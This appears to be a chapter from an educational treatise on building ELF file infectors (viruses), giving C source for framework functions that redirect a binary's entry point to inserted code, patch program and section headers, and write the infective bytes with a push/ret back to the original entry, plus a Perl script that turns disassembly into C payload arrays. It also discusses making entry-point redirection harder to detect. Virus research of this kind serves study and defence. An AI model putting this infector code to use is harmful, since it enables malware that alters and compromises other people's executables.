"In order to make an apple pie from scratch, you must first create the universe." | |
Carl Sagan, Cosmos |
This chapter is an incoherent collection of platform independent items that found no other place. This includes a few parts of the framework One step closer to the edge (i) that are specific to infectors but independent of the infection method.
Infectors provide only minimal statistics. See print_summary #2.
Source: src/one_step_closer/print_summary.inc
void print_summary(int stat[])
{
print_errno(-1, "files=%u; ok=%u; failed=%d\n",
stat[0], stat[1], stat[0] - stat[1], stat[2]
);
} |
This is the logic of all infectors based on the framework. Scanners do something different, see target_action #2.
Source: src/one_step_closer/action.inc
bool target_action(Target* t, int stat[])
{
size_t code_size;
if (target_patch_entry_addr(t) &&
target_patch_phdr(t) &&
target_patch_shdr(t) &&
target_open_dst(t) &&
target_copy_and_infect(t, &code_size)
)
{
TRACE_INFECT(-1, "%s ... wrote %u bytes, Ok\n", t->clean_src, code_size);
return true;
}
return false;
} |
Modifying e_entry is the obvious way to activate inserted code. It is quite simple to detect, however. See The entry point for possible improvements. Directory name e1 means that this is the first (orthogonal) implementation. The issue is independent of the chosen infection method. Well, almost independent. Entry point obfuscation generally means that virus code is activated later. Some infection methods must clean up things or the target will crash, though.
Anyway, without this function the behavior of the target is not modified. If the infection methods prevents double infection by design, this can be used for vaccination in the true meaning of the word: Infection with a deactivated mutation makes the target immune against less friendly attackers.
Source: src/one_step_closer/e1/patch_entry_addr.inc
bool target_patch_entry_addr(Target* t)
{
TRACE_DEBUG(-1, "target_patch_entry_addr\n");
t->original_entry = t->image.ehdr->e_entry;
t->image.ehdr->e_entry = target_new_entry_addr(t);
TRACE_DEBUG(-1, "original_entry=%08x e_entry=%08x\n",
t->original_entry, t->image.ehdr->e_entry);
return true; /* this implementation can't fail */
} |
Infectors write a modified copy of the target into the current directory. The file name is build by appending the letters _infected. It really should be hard to overlook.
Source: src/one_step_closer/open_dst.inc
bool target_open_dst(Target* t)
{
enum { FLAGS = O_WRONLY | O_CREAT | O_TRUNC };
static const char suffix[] = "_infected";
const char* base;
size_t len;
char* dst_filename;
TRACE_DEBUG(-1, "target_open_dst %s\n", t->src_file);
base = strrchr(t->src_file, '/');
base = (base == 0) ? t->src_file : base + 1;
len = strlen(base);
/* can't use check for malloc since it returns void*, not int */
dst_filename = malloc(len + sizeof(suffix));
if (dst_filename == 0)
{
TRACE_ERROR(-1, "malloc(%u) failed", len + sizeof(suffix));
return false;
}
memcpy(dst_filename, base, len);
memcpy(dst_filename + len, suffix, sizeof(suffix));
/* in case of error this is a memory leak (on dst_filename) */
CHECK_ERRNO(0, <=, t->fd_dst = open(dst_filename, FLAGS, 0775));
free(dst_filename);
return true;
} |
This function is called from within target_copy_and_infect #1. This implementation of target_write_infection does not require a special infection method but is not insertable itself. See Doing it in C for something more realistic. Anyway, infection is an array of bytes generated by Dressing up binary code. Constant ENTRY_POINT_OFS points to the location inside this array to patch with the original entry address.
Source: src/one_step_closer/write_infection.inc
bool target_write_infection(Target* t, size_t* code_size)
{
enum { ADDR_SIZE = sizeof(((Target*)0)->original_entry) };
enum { REST_OFS = ENTRY_POINT_OFS + ADDR_SIZE };
TRACE_DEBUG(-1, "target_write_infection "
"ENTRY_POINT_OFS=%d ADDR_SIZE=%d\n", ENTRY_POINT_OFS, ADDR_SIZE
);
/* i386: first byte is the opcode for "push" */
CHECK_WRITE(infection, ENTRY_POINT_OFS);
/* i386: next four bytes is the address to "ret" to */
CHECK_WRITE(&t->original_entry, sizeof(t->original_entry));
/* rest of infective code */
CHECK_WRITE(infection + REST_OFS, sizeof(infection) - REST_OFS);
*code_size = sizeof(infection);
return true;
} |
This script is used throughout the document to convert binary files into valid C code, i.e. definition of a byte array. This started as small filter written in perl, but now it has a lot of features. We need to process the output of both ndisasm and objdump, on multiple platforms. Examples for valid input (i386, sparc, alpha):
08048080 6A04 push byte +0x4
10074: 82 10 20 04 mov 4, %g1
1200000b0: 02 00 bb 27 ldah gp,2(t12) |
The __attribute__ clause is explained in A section called .text.
Initializing the array with string literals (looking like \xDE\xAD\xBE\xEF) is easier. The terminating zero would not work with Doing it in C, however. But then using a list of hexadecimal numbers introduces separating comas, requiring special treatment of the last line.
If command line option -last_line_is_ofs is passed to the program then the last line of disassembly is meant to specify a offset into the code. Actually it's just the last byte of that line. You are free to use any dummy operation, see the example input above. A real world example is at Infection #1. The last instruction itself is not emitted to the byte array. Instead enum constant ENTRY_POINT_OFS is defined.
Source: src/platform/disasm.pl
#!/usr/bin/perl -sw
use strict;
my $LINE = " %-30s /* %-32s */\n";
$::identifier = 'main' if (!defined($::identifier));
$::size = '' if (!defined($::size));
$::align = '8' if (!defined($::align));
$::section = '.text' if (!defined($::section));
printf "const unsigned char %s[%s]\n", $::identifier, $::size;
print "__attribute__ (( aligned($::align), section(\"$::section\") )) =\n";
print "{\n";
my $code_size = 0;
my @line;
while(<>)
{
s/^\s+//; # trim leading white space
s/\s+$//; # trim trailing white space
s/\s+[!;].*//; # trim trailing comments
my $addr = (split(/[:\s]+/))[0];
s/[A-Fa-f0-9]+:?\s+//;
my @code = split(/\s\s+/);
my $code = $code[0];
$code =~ s/\s//g; # make objdump look like ndisasm
$code_size += length($code) / 2;
my $dump = '0x' . substr($code, 0, 2);
for(my $i = 2; $i < length($code); $i += 2)
{
$dump .= ',0x' . substr($code, $i, 2);
}
push @line, [ $addr . ': ' . join(' ', @code[1..$#code]), $code, $dump ]
}
my $nr = 0;
my $max = $#line;
$max -= 1 if (defined($::last_line_is_ofs));
while($nr < $max)
{
printf $LINE, $line[$nr][2] . ',', $line[$nr][0];
$nr++;
}
printf $LINE, $line[$nr][2], $line[$nr][0];
printf "}; /* %d bytes (%#x) */\n", $code_size, $code_size;
if (defined($::last_line_is_ofs))
{
my $ofs = substr($line[$nr + 1][1], -2, 2);
printf "enum { ENTRY_POINT_OFS = 0x%x };\n", hex($ofs);
} |